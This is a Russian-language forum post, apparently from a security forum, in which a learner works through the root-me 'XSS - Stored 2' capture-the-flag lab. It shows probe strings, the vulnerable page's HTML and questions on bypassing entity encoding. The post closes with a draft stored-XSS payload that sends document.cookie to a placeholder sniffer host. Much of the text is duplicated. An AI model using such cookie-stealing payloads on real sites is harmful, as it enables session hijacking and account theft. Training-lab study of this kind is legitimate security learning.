InetTester
Green Team
Добрый день,
прохожу по потихоньку CTF(XSS - Stored 2) на площадке root-me, во общем задача как всегда угнать cookies админа, так как насколько я понимаю в те времена когда создавали данный challenge еще не было флага 'http only'.
Итак нашел input который вроде пропускает все символы, что я сразу проверил сразу скормив ему:
Далее попробовал, вставить обычный alert()
Нажимаю F12 в в соем любимом FireFox-e и иду смотреть куда именно он был засунут backend-ом...
И нахожу в конце свой js код:
1. Насколько я понял браузер заменил найденные в моем запросе спец символы на специальные коды(буду рад если подскажите точное их название(вроде на S...)) которые по определению НИКОГДА им не будут обработаны/интерпретированы как HTML но будут успешно отображены браузером?
2. Если так то во что нужно перевести мой так называемый payload чтобы backend 'пропустил' все символы и чтобы они были обработаны как html/js код?
3. Еще вопрос(не уверен что задам его грамотно): в каком именно представлении браузеры способны обрабатывать данные?
Т.е я могу обычный html/js код закодировать в ascii, utf8, url или в HEX .. и браузер без проблем автоматически интерпретирует и покажет мой html?
Как только решу данную задачу то насколько я понял нужно будет закрыть все внешние теги и далее уже просто вставить мой js payload, на данный момент пришел к такому варианту:
PS: В курсе что есть уже средства позволяющие автоматически проводить находить xss... интересует больше разобраться.
прохожу по потихоньку CTF(XSS - Stored 2) на площадке root-me, во общем задача как всегда угнать cookies админа, так как насколько я понимаю в те времена когда создавали данный challenge еще не было флага 'http only'.
Итак нашел input который вроде пропускает все символы, что я сразу проверил сразу скормив ему:
Код:
'';!--"<fuck>=&{()}
Код:
<script>alert(1)</alert>
HTML:
<html>
<head>
<title>Forum v0.002</title>
<style>
.invite { color: green; }
.admin { color: red;}
</style>
</head>
<body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='[URL='https://codeby.net/view-source%3Ahttp%3A//challenge01.root-me.org/template/s.css']/template/s.css[/URL]' media='all' /><iframe id='iframe' src='[URL='https://codeby.net/view-source%3Ahttps%3A//www.root-me.org/?page=externe_header']https://www.root-me.org/?page=externe_header[/URL]'></iframe>
<h1>Forum v0.002</h1>
<hr/>
<div>
<span><a href="[URL='https://codeby.net/view-source%3Ahttp%3A//challenge01.root-me.org/web-client/ch19/?section=admin']./?section=admin[/URL]">admin</a></span>
<span style="text-align: right; float:right;">Statut / Status : <i class="invite">invite</i></span>
</div><br/>
<b>message enregistré / content saved</b><br/><br/> <form action="" method="POST" />
<div>
Titre / Title :<br/>
<input type="text" name="titre" value="" />
</div><br/>
<div>
Message / Content :<br/>
<textarea name="message" rows="3" cols="50"></textarea>
</div>
<div>
<input type="submit" value="envoyer / send" />
</div>
</form><br/><br/>
<div>
<div>Posted messages:</div><br/>
<span><b>Welcome</b></span><br/>
<span>N'hésitez pas à me laisser un message / Don't hesitate, let a message</span><br/><hr/>
<span><b>test2</b> (<i class="invite">status : invite</i>)</span><br/><span><script>alert(1)</alert></span><br/><hr/>
<span><b>test0</b> (<i class="invite">status : invite</i>)</span><br/><span>'';!--"<fuck>=&{()}</span><br/><hr/>
</div>
</body>
</html>
HTML:
<script>alert(1)</alert>
1. Насколько я понял браузер заменил найденные в моем запросе спец символы на специальные коды(буду рад если подскажите точное их название(вроде на S...)) которые по определению НИКОГДА им не будут обработаны/интерпретированы как HTML но будут успешно отображены браузером?
2. Если так то во что нужно перевести мой так называемый payload чтобы backend 'пропустил' все символы и чтобы они были обработаны как html/js код?
3. Еще вопрос(не уверен что задам его грамотно): в каком именно представлении браузеры способны обрабатывать данные?
Т.е я могу обычный html/js код закодировать в ascii, utf8, url или в HEX .. и браузер без проблем автоматически интерпретирует и покажет мой html?
Как только решу данную задачу то насколько я понял нужно будет закрыть все внешние теги и далее уже просто вставить мой js payload, на данный момент пришел к такому варианту:
Код:
</span></br></div><script>document.location.href = 'https://mysniffer?cookies =' + document.cookie;</script><div><span>
PS: В курсе что есть уже средства позволяющие автоматически проводить находить xss... интересует больше разобраться.
Последнее редактирование: